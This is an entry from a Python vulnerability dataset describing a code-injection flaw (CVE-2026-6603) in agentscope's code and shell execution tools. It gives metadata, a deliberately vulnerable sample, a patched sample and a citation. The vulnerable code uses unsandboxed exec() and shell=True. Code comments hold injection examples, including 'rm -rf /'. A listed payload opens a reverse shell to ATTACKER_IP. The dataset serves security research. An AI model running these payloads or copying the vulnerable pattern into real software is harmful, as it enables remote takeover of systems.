VAITP Dataset

← Back to the dataset

CVE-2026-6603

Remote code injection in agentscope's python/shell execution functions.

  • CVSS 5.5
  • CWE-74
  • Input Validation and Sanitization
  • Remote

A vulnerability was determined in modelscope agentscope up to 1.0.18. Affected by this vulnerability is the function execute_python_code/execute_shell_command of the file src/AgentScope/tool/_coding/_python.py. This manipulation causes code injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS base score
5.5
Published
2026-04-20
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
modelscope a
Fixed by upgrading
Yes

Solution

Upgrade agentscope to version 1.0.19 or later.

Vulnerable code sample

import io
from contextlib import redirect_stdout

def execute_python_code(code: str) -> str:
    """
    Executes the given Python code string and returns its stdout.
    This version is vulnerable to code injection as it uses exec()
    on unsanitized input.
    """
    if not isinstance(code, str):
        return "Error: Input code must be a string."

    # The vulnerability is the direct, unsandboxed use of exec().
    # An attacker can pass any malicious Python code string to be executed.
    # For example: code = '__import__("os").system("id")'
    output_buffer = io.StringIO()
    try:
        with redirect_stdout(output_buffer):
            exec(code, {'__builtins__': __builtins__})
        return output_buffer.getvalue()
    except Exception as e:
        return f"Execution failed with error: {e}"

def execute_shell_command(command: str) -> str:
    """
    Executes the given shell command.
    This version is vulnerable to command injection.
    """
    import subprocess
    # The vulnerability is using shell=True with unescaped input.
    # An attacker can inject commands, e.g., "echo 'hello'; ls -la"
    result = subprocess.run(
        command,
        shell=True,
        capture_output=True,
        text=True,
    )
    if result.stdout:
        return result.stdout
    return result.stderr

Patched code sample

import subprocess
import shlex

def execute_shell_command(command: str) -> subprocess.CompletedProcess:
    """
    Executes a shell command safely to prevent shell injection.

    The vulnerable implementation likely used subprocess.run(command, shell=True),
    which allows an attacker to inject additional commands (e.g., "ls; rm -rf /").

    This fixed version parses the command string into a list of arguments using
    shlex.split(). This ensures that each part of the command is treated as a
    literal argument rather than being interpreted by the shell, mitigating
    the injection vulnerability.

    Args:
        command: The command string to be executed.

    Returns:
        A subprocess.CompletedProcess object containing the command's output
        and exit code.
    """
    # Use shlex.split to safely parse the command string into a list of arguments.
    # This prevents the shell from interpreting special characters in the input.
    args = shlex.split(command)

    # Execute the command using the argument list. shell=False is the default and
    # secure way when passing arguments as a list.
    result = subprocess.run(
        args,
        capture_output=True,
        text=True,
        check=False,
    )
    return result

Payload

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

Cite this entry

@misc{vaitp:cve20266603,
  title        = {{Remote code injection in agentscope's python/shell execution functions.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-6603},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-6603/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::